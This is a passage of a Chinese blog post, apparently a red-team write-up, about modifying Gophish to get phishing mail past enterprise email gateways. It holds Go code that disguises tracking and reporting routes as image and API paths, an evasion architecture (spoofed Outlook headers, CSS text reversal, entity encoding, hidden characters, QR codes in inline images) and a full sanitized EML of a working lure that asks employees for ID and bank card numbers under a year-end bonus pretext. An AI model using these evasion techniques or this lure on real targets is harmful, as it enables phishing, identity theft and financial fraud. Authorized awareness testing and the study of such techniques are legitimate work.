        &quot;/assets/analytics.gif&quot;,         // 分析统计
        &quot;/cdn/track.png&quot;,                // CDN资源
    }
    
    // 为每个Campaign随机选择
    selectedTrack := trackRoutes[rand.Intn(len(trackRoutes))]
    router.HandleFunc(selectedTrack, ps.TrackHandler)
    
    // 🔥 上报路由伪装成API
    reportRoutes := []string{
        &quot;/api/v1/status&quot;,      // 状态API
        &quot;/api/feedback&quot;,       // 反馈API  
        &quot;/api/report&quot;,         // 报告API
        &quot;/api/analytics&quot;,      // 分析API
    }
    
    selectedReport := reportRoutes[rand.Intn(len(reportRoutes))]
    router.HandleFunc(selectedReport, ps.ReportHandler)
    
    // 🔥 钓鱼页面路由（配合QR码）
    router.HandleFunc(&quot;/share&quot;, ps.PhishHandler)
    router.HandleFunc(&quot;/view&quot;, ps.PhishHandler)
    router.HandleFunc(&quot;/document/{id}&quot;, ps.PhishHandler)
    
    // 伪造Nginx 404
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
    
    ps.server.Handler = router
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.5 最终方案架构&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌────────────────────────────────────────────────────┐
│           邮件网关绕过完整方案架构                │
└────────────────────────────────────────────────────┘

邮件层
├─ 多部分结构（Multipart/Alternative）
│  ├─ Part 1: text/plain（安全词汇）
│  └─ Part 2: text/html（混淆内容）
├─ 邮件头伪装
│  ├─ 移除 X-Gophish-*
│  ├─ 伪造 X-Mailer: Microsoft Outlook
│  └─ 添加业务头： X-Priority, Importance

HTML混淆层
├─ 主标题：CSS反转 + HTML注释
├─ 敏感关键词：HTML实体编码
├─ 动作词：零宽字符/字体大小0
└─ 部门信息：HTML实体编码

链接隐藏层
├─ CID图片（QR码）
│  └─ 嵌入内联图片，无明文URL
├─ 追踪路由伪装
│  └─ /resource/image/pixel.png
└─ 上报路由伪装
   └─ /api/v1/status

Gophish平台集成
├─ email_request.go: Multipart生成
├─ template_context.go: QR码支持
└─ controllers/route.go: 路由混淆
&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;0x06 最终测试与成果&lt;/h2&gt;
&lt;h3&gt;6.1 全量测试&lt;/h3&gt;
&lt;p&gt;应用所有绕过技术后，我189的测试邮箱终于进信了。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138674-5253d3.EXWwynN1.png&amp;#x26;w=2113&amp;#x26;h=252&amp;#x26;f=webp&quot; alt=&quot;图片674-5253d3d1-b08c-447b-beaa-a8efa4317d23&quot;&gt;&lt;/p&gt;
&lt;p&gt;同时以此策略改了以下邮件标题换为行政通知不出现年终奖等内容，防止邮件title检测，发送了一份测试邮件到客户的企业邮箱：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138758-d25c81._AxU1kjq.png&amp;#x26;w=1177&amp;#x26;h=360&amp;#x26;f=webp&quot; alt=&quot;图片758-d25c8132-926d-4f76-859e-571d078b369a&quot;&gt;&lt;/p&gt;
&lt;p&gt;第二天就收到了好消息：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138830-c85c45.COQZHk6q.png&amp;#x26;w=403&amp;#x26;h=376&amp;#x26;f=webp&quot; alt=&quot;图片830-c85c45b1-6e88-4d89-8064-aa81a0306c9b&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;我擦累终于完事了。&lt;/p&gt;
&lt;p&gt;提供一个发送成功的EML信息以供fuzz。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;这份 EML 已经过脱敏处理。我进行了以下替换以确保安全性和隐私，同时保留了原始的攻击结构（包括HTML/CSS混淆代码）供分析：

1. **发件人**：替换为 `attacker@phishing-sample.com`
2. **收件人**：替换为 `victim@target-corp.com`
3. **恶意发送IP**：替换为 `10.10.10.10`
4. **追踪/信标IP**：替换为 `10.10.10.11`
5. **正文诱饵邮箱**：替换为 `hr-contact@target-corp.com`
6. **二维码附件**：为了防止误扫，**Payload（二维码图片数据的Base64）已替换为安全的一像素透明图片**，但格式保持不变。

可以直接复制保存为 `.eml` 文件进行分析。

‍```eml
X-QQ-XMRINFO: Mp0Kj//9VHAxO7CrTZJ3E+P7/IyVs7a3QQ==
X-QQ-XMAILINFO: OUHkd4CDQR3trOzcBYy7sPFN9Q3goxrx2Y+yitefQ+c9q30Hf6SnUFvg9RM7+A
     EMoo9bpJ0eCC0fYdgnj4bJQHIVmzpNDfzwJDJEzb5W/Ci/FHNXiBO9JwPEljK/A6glwg7jm5OJuMk
     sBO/U+ieXlFQulZQZQLejTZVShsWVox0KMY+7QnZOpLk62lmF7KlVXeMN2sa/eCAe3ECNzG/HTPyF
     uSieHsdn+DWoCEuiqpeUxiMPUaOrISnHLeuh5QiIr2TBRVh5n9rhwP1PKTvm5Pt6vYfuzZ9jGS284
     u77QsZSMDmly2nI626/g2HwcsJRwknEQ/C3PsRDXyxp25Fnt85/eBo1LXOEsgzWcm1XDWSsvbaYiB
     A/nSjWaKTQUq5EZ81RFpuTctKoPXkle6reGWvJ5HMhcimk3qL34l5lPyJMjgwbxt8EFiV+BmY7+as
     xSZks0vutfI2E5O4Owtq8ZFveJk3kX4vgNiGZFPrrD00NzLc13O3V8PayZFFQ/qoWgR1V8HRyngPc
     whoyOIZwLXSi2AO699NpVAx9tWi801cdaIH0jvsAgsSTsYLffL6bFzV/d06jlxZssR1FsDttax/UJ
     kZzD6KfhQTovwbCXhFTfdRcyK41+SgliRUDYScDYYGm0MsS9fwbFiR4CXVWo1YgM2VrpVwyue5XjR
     R19d3DrcT1TQiuRxYwRu9mtpvcb0VfQk7FFTbwAYlDHDxlj1jps41nbB5+1NjCxzC7TqqY0RxoDkO
     OEHs78RTxoPFiFXNidfMRgO9pLPMGqlZB712uvmFdsPlU6utPlQcLSVahZEDX9f9ApsBQPp9VhkuX
     Kk8TpwxnU5rhLe3zEN7DQzwWu/K4E5eTlF4m1jy5t0g1CDoZr2ecXqQd5uKvS3hYHd8tpnD6TX2zt
     gC9Mkyhc5oDat3jQseqnXusy14SXMJPsItTwqL1EDb9erVLJLONGO3KuLxkrb0YPdWt3AwkEWuBiL
     ZcUUt3jBx0audqaC0u9paBZ8vvwltxJZTmwegZ5FAW69+oeB+4Q45nuyc1Pm5+0OEJK30dpyOf4mc
     dzWvVBeAdVY6bVUEqx2zGOIpFKQykyyUpUZGG2yraXdYbjBn1dk+eTXribt0eFmRLQSou4M3czXlC
     6ekmu37Bx1tiyZ9dxXQmHyDphZrK8E2JZzdlCHfAMYM3oWNNF9Q2YC64XXfdQ8bS1djGbeZK76RdK
     +3KT8i7qPVIJs/xmF2BiRh8SHj8Rfo5L9CVYsjBjLoik0Z+v0Qul9KCGkYzU7iTRhfeZuROTV88B2
     H3F7wi+vl/cf79VdPGjpWl8VU/Za36q+iBWxFMb5Sc5Bx1YfFEdB3qubGzls9jZk+Yo217HkiM0Pp
     DoIDhKA==
Authentication-Results: mx.qq.com; spf=pass(10.10.10.10) smtp.mailfrom=&amp;#x3C;attac
     ker@phishing-sample.com&gt;; dkim=pass(signature was verified) header.d=phishing-sample
     .com; dmarc=none(permerror) header.from=phishing-sample.com
Received: from sender2-of-o52.zoho.com.cn (sender2-of-o52.zoho.com.cn [10.10.10.10])
    by newxmmxszgpub7-0.qq.com (NewMX) with SMTP id CFAB30D5
    for &amp;#x3C;victim@target-corp.com&gt;; Tue, 30 Dec 2025 22:51:58 +0800
X-QQ-mid: xmmxpub7-0t1767106318tz15pdly0
ARC-Seal: i=1; a=rsa-sha256; t=1767106318; cv=none; 
    d=zoho.com.cn; s=zohoarc; 
    b=Cr9zGNGt6SmOyaOExLBF5Vamm2EodQCAnGOtcY2lxYYmfq7+Y15ik/LtGTNoPu2GmBisVRObqpb0ujuxHbuAF+2t8MX0qX5Ap81H0TxbEtOztJ1XKmgClRLVAfOKI7k0bWPtlKND0+Br0GbV6MnVP8+U3Sww5OE6lLTL9PVQAQ4=
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com.cn; s=zohoarc; 
    t=1767106318; h=Content-Type:Date:Date:From:From:MIME-Version:Message-ID:Subject:Subject:To:To:Message-Id:Reply-To:Cc; 
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=; 
    b=ePilPBFjFYRTvolrtPQJCF1sKpoZujYKnys35RzA+NfsuolFUk7u7YSo4O1Rdqb+DEJT7v/Me4f+0OUZqd7YudGBxePKI0WOJtJJ1VI8Hi1gByLP3QZ6qFUERu/18SuRgf3zg8Lc45pQlm814IP0aVdFunCv1D3QJiLkKpdo/rc=
ARC-Authentication-Results: i=1; mx.zoho.com.cn;
    dkim=pass  header.i=phishing-sample.com;
    spf=pass  smtp.mailfrom=attacker@phishing-sample.com;
    dmarc=pass header.from=&amp;#x3C;attacker@phishing-sample.com&gt;
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; t=1767106318;
    s=zmail; d=phishing-sample.com; i=attacker@phishing-sample.com;
    h=Mime-Version:Date:Date:MIME-Version:Message-Id:Message-Id:Subject:Subject:From:From:To:To:Content-Type:Reply-To:Cc;
    bh=EXFBatn4DZE55Q9xe5N7S1wO1Hgsnd9GCvuHLHc756s=;
    b=i9TDdZR7RL5FN1BcZmOQ6XXVOYQLQF5HCoT0Nu3eI4vqmbpipLzizPr+OFeyc85O
    C4Wf6G7MNUrR4ZJkGR5MH0NewHPrmQUUB9EwraMGx2bEBA1fmRdMbSzw66cvkwqOTJK
    //Ub/3mVpvQdwXgQ17e8VTS71iBAFkEIxDcqSLZg=
Received: by mx.zoho.com.cn with SMTPS id 1767106315677324.8435548055967;
    Tue, 30 Dec 2025 22:51:55 +0800 (CST)
Mime-Version: 1.0
Date: Tue, 30 Dec 2025 22:51:55 +0800
X-Priority: 1
MIME-Version: 1.0
Message-Id: &amp;#x3C;1767106315726641989.371082.1021737665213280689@hcss-ecs-18a4&gt;
Key: X-Mailer
Value: Zoho Mail
Subject: =?UTF-8?q?=E5=85=B3=E4=BA=8E2025=E5=B9=B4=E5=BA=A6=E8=A1=8C=E6=94=BF?= =?UTF-8?q?=E9=80=9A=E7=9F=A5-HR?=
From: attacker@phishing-sample.com
Importance: High
To: victim@target-corp.com
Content-Type: multipart/related;
 boundary=337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
X-ZohoCN-Virus-Status: 1
X-ZohoCN-Virus-Status: 1
X-Zoho-AV-Stamp: zmail-av-1.4.3/267.84.63
X-ZohoCNMailClient: External

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Type: multipart/alternative;
 boundary=19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d

--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset=UTF-8

=E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6 =E9=87=91=E5=A5=
=96=E7=BB=88=E5=B9=B4 =E5=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=
=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=9A =E7=9F=A5

=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=BD=EF=BC=9A

2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=E6=BB=A1=E7=BB=
=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=B8=80=E5=B9=B4=
=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=82=E7=8E=B0=E6=
=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8=E5=B9=B4=E7=BB=88=E5=A5=96=E9=87=91 =E5=
=8F=91=E6=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=
=A5=E4=BD=9C=EF=BC=81=E6=9C=AC=E6=AC=A1 =E5=A5=96=E7=BB=88=E5=B9=B4 =E5=B0=
=86=E6=8C=89=E6=9C=80=E6=96=B0=E8=96=AA=E9=85=AC =E6=A0=87=E5=87=86=E6=A0=
=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB=E7=BB=A9=E6=95=88 =E5=A5=96=E9=87=
=91=E3=80=81=E5=B9=B4=E7=BB=88=E5=88=86=E7=BA=A2 =E7=AD=89=E5=A4=9A=E9=A1=
=B9=E8=A1=A5=E8=B4=B4=E3=80=82

*=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A* =E5=9B=A0 =E7=BB=9F=E7=B3=
=BB=E5=8A=A1=E8=B4=A2 =E5=B9=B4=E7=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=
=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=A2 12=E6=9C=8829=E6=97=A518:00 =EF=BC=
=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=B9=
=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86 =E5=BB=B6=E8=BF=9F=E8=87=B3=
=E6=AC=A1=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE =EF=BC=81=E4=B8=BA=E9=81=BF=
=E5=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=
=94=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=
=B0=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82

*=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=95=EF=BC=9A*

* =E8=AF=B7=E6=89=AB =E6=8F=8F=E4=B8=8B=E6=96=B9=E4=BA=8C _ =E7=BB=B4 _ =E7=
=A0=81=E7=99=BB =E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A

* =E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=E5=8F=B7=E7=99=BB=
=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82
* =E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=E3=80=81=E8=BA=AB =
=E4=BB=BD =E8=AF=81=E5=8F=B7=E3=80=81=E9=93=B6. =E8=A1=8C. =E5=8D=A1=E5=8F=
=B7=E5=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=
=E8=AE=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=
=81=AF=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=
=B6=E4=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82
*=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A*

* =E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=AB=AF=E8=AE=BF=E9=97=
=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=AC=E5=8F=B8=E5=86=85=
=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82
* =E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=95=E6=89=93=E5=BC=80=
=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=E9=97=AE=E9=A2=98=EF=
=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@target-corp.com

=E4=BA=BA=E5=8A=9B=E8=B5=84=E6=BA=90=E9=83=A8

2025=E5=B9=B412=E6=9C=8828=E6=97=A5
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d
Content-Transfer-Encoding: quoted-printable
Content-Type: text/html; charset=UTF-8

&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html lang=3D&quot;zh-CN&quot;&gt;

&amp;#x3C;head&gt;
    &amp;#x3C;meta charset=3D&quot;UTF-8&quot;&gt;
    &amp;#x3C;meta name=3D&quot;viewport&quot; content=3D&quot;width=3Ddevice-width, initial-scale=
=3D1.0&quot;&gt;
    &amp;#x3C;title&gt;2025=E9=80=9A=E7=9F=A5&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        /* =E5=9F=BA=E7=A1=80=E6=A0=B7=E5=BC=8F=E9=87=8D=E7=BD=AE */
        body {
            font-family: &apos;Microsoft YaHei&apos;, &apos;PingFang SC&apos;, Arial, sans-seri=
f;
            line-height: 1.6;
            color: #333333;
            margin: 0;
            padding: 0;
            background-color: #f4f4f4;
        }

        .container {
            max-width: 600px;
            margin: 20px auto;
            background-color: #ffffff;
            padding: 40px;
            border-top: 4px solid #0056b3;
            box-shadow: 0 2px 5px rgba(0, 0, 0, 0.05);
        }

        .header {
            font-size: 18px;
            font-weight: bold;
            margin-bottom: 20px;
            border-bottom: 1px solid #eeeeee;
            padding-bottom: 10px;
        }

        .content {
            font-size: 14px;
        }

        .highlight-box {
            background-color: #fff8e1;
            border: 1px solid #ffecb3;
            color: #856404;
            padding: 15px;
            margin: 15px 0;
            border-radius: 4px;
        }

        .urgent {
            color: #d9534f;
            font-weight: bold;
        }

        .btn-link {
            color: #0056b3;
            text-decoration: underline;
            font-weight: bold;
        }

        .step-list {
            margin-bottom: 20px;
        }

        .step-list li {
            margin-bottom: 8px;
        }

        .footer {
            margin-top: 30px;
            padding-top: 20px;
            border-top: 1px solid #eeeeee;
            font-size: 14px;
            text-align: right;
            color: #666666;
        }

        .tips {
            font-size: 12px;
            color: #888;
            margin-top: 15px;
            background-color: #f9f9f9;
            padding: 10px;
        }

        /* =E6=B7=B7=E6=B7=86=E4=B8=93=E7=94=A8=E6=A0=B7=E5=BC=8F=EF=BC=9A=
=E6=96=87=E5=AD=97=E5=8F=8D=E8=BD=AC */
        .safe-txt {
            unicode-bidi: bidi-override;
            direction: rtl;
        }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;div class=3D&quot;container&quot;&gt;
        &amp;#x3C;div class=3D&quot;header&quot;&gt;
                        =E5=85=B3=E4=BA=8E=E5=90=AF=E5=8A=A82025=E5=B9=B4=E5=BA=A6&amp;#x3C;span=
 class=3D&quot;safe-txt&quot;&gt;=E9=87=91=E5=A5=96=E7=BB=88=E5=B9=B4&amp;#x3C;/span&gt;=E5=8F=91=E6=
=94=BE=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E7=9A=84=E9=80=
=9A=E7=9F=A5
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=3D&quot;content&quot;&gt;
            &amp;#x3C;p&gt;=E5=90=84=E4=BD=8D=E5=90=8C=E4=BA=8B=EF=BC=8C=E6=82=A8=E5=A5=
=BD=EF=BC=9A&amp;#x3C;/p&gt;
            &amp;#x3C;p&gt;2025=E5=B9=B4=E5=BA=A6=E5=B7=A5=E4=BD=9C=E5=B7=B2=E5=9C=86=
=E6=BB=A1=E7=BB=93=E6=9D=9F=EF=BC=8C=E6=84=9F=E8=B0=A2=E5=A4=A7=E5=AE=B6=E4=
=B8=80=E5=B9=B4=E6=9D=A5=E7=9A=84=E8=BE=9B=E5=8B=A4=E4=BB=98=E5=87=BA=E3=80=
=82=E7=8E=B0=E6=AD=A3=E5=BC=8F=E5=90=AF=E5=8A=A8&amp;#x26;#x5E74;&amp;#x26;#x7EC8;&amp;#x26;#x5956;&amp;#x26;#x=
91D1;=E5=8F=91=E6=94=BE=
=E4=BF=A1=E6=81=AF=E6=9C=80=E7=BB=88=E6=A0=B8=E5=AF=B9=E5=B7=A5=E4=BD=9C=EF=
=BC=81=E6=9C=AC=E6=AC=A1&amp;#x3C;span
                    class=3D&quot;safe-txt&quot;&gt;=E5=A5=96=E7=BB=88=E5=B9=B4&amp;#x3C;/span&gt;=
=E5=B0=86=E6=8C=89=E6=9C=80=E6=96=B0&amp;#x26;#x85AA;&amp;#x26;#x916C;=E6=A0=87=E5=87=86=E6=A0=B8=E7=AE=97=EF=BC=8C=E5=8C=85=E5=90=AB&amp;#x26;#x7EE9;=
&amp;#x26;#x6548;=E5=A5=96=E9=87=91=E3=80=81&amp;#x26;#x5E74;&amp;#x26;#x7E=
C8;&amp;#x26;#x5206;&amp;#x26;#x7EA2;=E7=AD=89=
=E5=A4=9A=E9=A1=B9=E8=A1=A5=E8=B4=B4=E3=80=82
            &amp;#x3C;/p&gt;
            &amp;#x3C;div class=3D&quot;highlight-box&quot;&gt;
                &amp;#x3C;strong&gt;=E9=87=8D=E8=A6=81=E6=8F=90=E9=86=92=EF=BC=9A&amp;#x3C;/stro=
ng&gt;=E5=9B=A0&amp;#x3C;span class=3D&quot;safe-txt&quot;&gt;=E7=BB=9F=E7=B3=BB=E5=8A=A1=E8=B4=A2&amp;#x3C;/=
span&gt;=E5=B9=B4=E7=
=BB=88=E5=85=B3=E8=B4=A6=E5=80=92=E8=AE=A1=E6=97=B6=EF=BC=88=E6=88=AA=E6=AD=
=A2 &amp;#x3C;span
                    class=3D&quot;urgent&quot;&gt;12=E6=9C=8829=E6=97=A518:00&amp;#x3C;/span&gt;=EF=
=BC=89=EF=BC=8C=E6=9C=AA=E5=AE=8C=E6=88=90=E4=BF=A1=E6=81=AF=E6=A0=B8=E5=AF=
=B9=E7=9A=84=E5=90=8C=E4=BA=8B=EF=BC=8C=E5=B0=86&amp;#x3C;span
                    class=3D&quot;urgent&quot;&gt;=E5=BB=B6=E8=BF=9F=E8=87=B3=E6=AC=A1=
=E5=B9=B41=E6=9C=88=E5=8F=91=E6=94=BE&amp;#x3C;/span&gt;=EF=BC=81=E4=B8=BA=E9=81=BF=E5=
=85=8D=E5=BD=B1=E5=93=8D=E4=BD=A0=E7=9A=84=E5=A5=96=E9=87=91=E5=8F=91=E6=94=
=BE=E6=97=B6=E6=95=88=EF=BC=8C=E8=AF=B7=E5=8A=A1=E5=BF=85=E5=9C=A824=E5=B0=
=8F=E6=97=B6=E5=86=85=E5=AE=8C=E6=88=90=E3=80=82
            &amp;#x3C;/div&gt;
            &amp;#x3C;p&gt;&amp;#x3C;strong&gt;=E6=A0=B8=E5=AF=B9=E6=93=8D=E4=BD=9C=E6=8C=87=E5=BC=
=95=EF=BC=9A&amp;#x3C;/strong&gt;&amp;#x3C;/p&gt;
            &amp;#x3C;ol class=3D&quot;step-list&quot;&gt;
                                &amp;#x3C;li&gt;=E8=AF=B7=E6=89=AB=E6=8F=8F=E4=B8=8B=E6=96=
=B9=E4=BA=8C&amp;#x3C;span style=3D&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;=E7=BB=B4&amp;#x3C;span
                        style=3D&quot;display:none&quot;&gt;_&amp;#x3C;/span&gt;=E7=A0=81=E7=99=BB&amp;#x3C;!=
-- login --&gt;=E5=BD=95=E7=B3=BB=E7=BB=9F=EF=BC=9A&amp;#x3C;br&gt;&amp;#x3C;img src=3D&quot;cid:4279681=
432.png&quot;&gt;&amp;#x3C;/li&gt;
                &amp;#x3C;li&gt;=E8=BE=93=E5=85=A5=E5=A7=93=E5=90=8D=E5=8F=8A=E5=B7=A5=
=E5=8F=B7=E7=99=BB=E5=BD=95=E7=B3=BB=E7=BB=9F=E3=80=82&amp;#x3C;/li&gt;
                                &amp;#x3C;li&gt;=E6=A0=B8=E5=AF=B9=E4=B8=AA=E4=BA=BA=E5=A7=93=E5=90=8D=
=E3=80=81=E8=BA=AB=E4=BB=BD=E8=AF=81=E5=8F=B7=E3=80=
=81=E9=93=B6&amp;#x3C;span style=3D&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;=E8=A1=8C&amp;#x3C;span
                        style=3D&quot;font-size:0&quot;&gt;.&amp;#x3C;/span&gt;=E5=8D=A1=E5=8F=B7=E5=
=8F=8A=E5=BC=80=E6=88=B7=E8=A1=8C=E4=BF=A1=E6=81=AF=EF=BC=8C=E7=A1=AE=E8=AE=
=A4=E6=97=A0=E8=AF=AF=E5=90=8E=E6=8F=90=E4=BA=A4=EF=BC=9B=E4=BF=A1=E6=81=AF=
=E6=9C=89=E8=AF=AF=E8=AF=B7=E5=8F=8A=E6=97=B6=E4=BF=AE=E6=94=B9=E5=B9=B6=E4=
=B8=8A=E4=BC=A0=E4=BD=90=E8=AF=81=E6=9D=90=E6=96=99=E3=80=82&amp;#x3C;/li&gt;
            &amp;#x3C;/ol&gt;
            &amp;#x3C;div class=3D&quot;tips&quot;&gt;
                &amp;#x3C;strong&gt;=E6=B8=A9=E9=A6=A8=E6=8F=90=E7=A4=BA=EF=BC=9A&amp;#x3C;/stro=
ng&gt;
                &amp;#x3C;ul style=3D&quot;padding-left: 20px; margin: 5px 0;&quot;&gt;
                    &amp;#x3C;li&gt;=E7=B3=BB=E7=BB=9F=E4=BB=85=E6=94=AF=E6=8C=81PC=E7=
=AB=AF=E8=AE=BF=E9=97=AE=EF=BC=8C=E5=BB=BA=E8=AE=AE=E4=BD=BF=E7=94=A8=E5=85=
=AC=E5=8F=B8=E5=86=85=E7=BD=91=E6=93=8D=E4=BD=9C=E3=80=82&amp;#x3C;/li&gt;
                    &amp;#x3C;li&gt;=E5=A6=82=E9=81=87=E9=93=BE=E6=8E=A5=E6=97=A0=E6=B3=
=95=E6=89=93=E5=BC=80=E3=80=81=E7=99=BB=E5=BD=95=E5=A4=B1=E8=B4=A5=E7=AD=89=
=E9=97=AE=E9=A2=98=EF=BC=8C=E8=AF=B7=E8=81=94=E7=B3=BB=EF=BC=9Ahr-contact@t=
arget-corp.com&amp;#x3C;/li&gt;
                &amp;#x3C;/ul&gt;
            &amp;#x3C;/div&gt;
        &amp;#x3C;/div&gt;
        &amp;#x3C;div class=3D&quot;footer&quot;&gt;
            &amp;#x3C;p&gt;&amp;#x26;#x4EBA;&amp;#x26;#x529B;&amp;#x26;#x8D44;&amp;#x26;#x6E90;&amp;#x26;#x90E8;&amp;#x3C;/p&gt;            &amp;#x3C;p&gt;2025=E5=B9=B412=E6=9C=8828=E6=97=A5&amp;#x3C;/p&gt;
        &amp;#x3C;/div&gt;
    &amp;#x3C;/div&gt;

&amp;#x3C;img alt=3D&apos;&apos; style=3D&apos;display: none&apos; src=3D&apos;http://10.10.10.11/resourc=
e/image/pixel.png?id=3DsjD8aL5&apos;/&gt;&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
--19113fa76cd08a4921899ebabc4b1adbfbcd7f2cb0964b712285166d846d--

--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e
Content-Disposition: inline; filename=&quot;4279681432.png&quot;
Content-ID: &amp;#x3C;4279681432.png&gt;
Content-Transfer-Encoding: base64
Content-Type: image/png; name=&quot;4279681432.png&quot;

iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mP8z8BQDwAEhQGAhKmMIQAAAABJRU5ErkJggg==
--337f355fdc260123f5a0e811b70e9912d69cb4accd7b39373081259e7a4e--

‍```
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;AI分析如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156138957-6af55f.BoWDuXox.png&amp;#x26;w=1023&amp;#x26;h=940&amp;#x26;f=webp&quot; alt=&quot;图片957-6af55fd9-a33d-4e5c-9f29-190544108515&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156139078-c5ec94.jnPcPWhb.png&amp;#x26;w=855&amp;#x26;h=233&amp;#x26;f=webp&quot; alt=&quot;AI分析截图2&quot;&gt;&lt;/p&gt;
&lt;p&gt;开始大批量的进行安全测试：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156139132-548bf0.D8s3nwtu.png&amp;#x26;w=801&amp;#x26;h=708&amp;#x26;f=webp&quot; alt=&quot;大批量安全测试截图&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://astro-pure.js.org/_image?href=%2F_astro%2Fimg-1767156139211-b5f65f.DFSxJxF8.png&amp;#x26;w=823&amp;#x26;h=786&amp;#x26;f=webp&quot; alt=&quot;最终测试截图&quot;&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x07 后记&lt;/h2&gt;
&lt;p&gt;这次从0到1的绕过之旅，历时4天，最终完成这个需求。&lt;/p&gt;
&lt;p&gt;随着AI技术的发展，邮件网关的检测能力会越来越强。下一步的研究方向可能包括：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;利用合法平台（如Google Docs、OneDrive）进行跳转&lt;/li&gt;
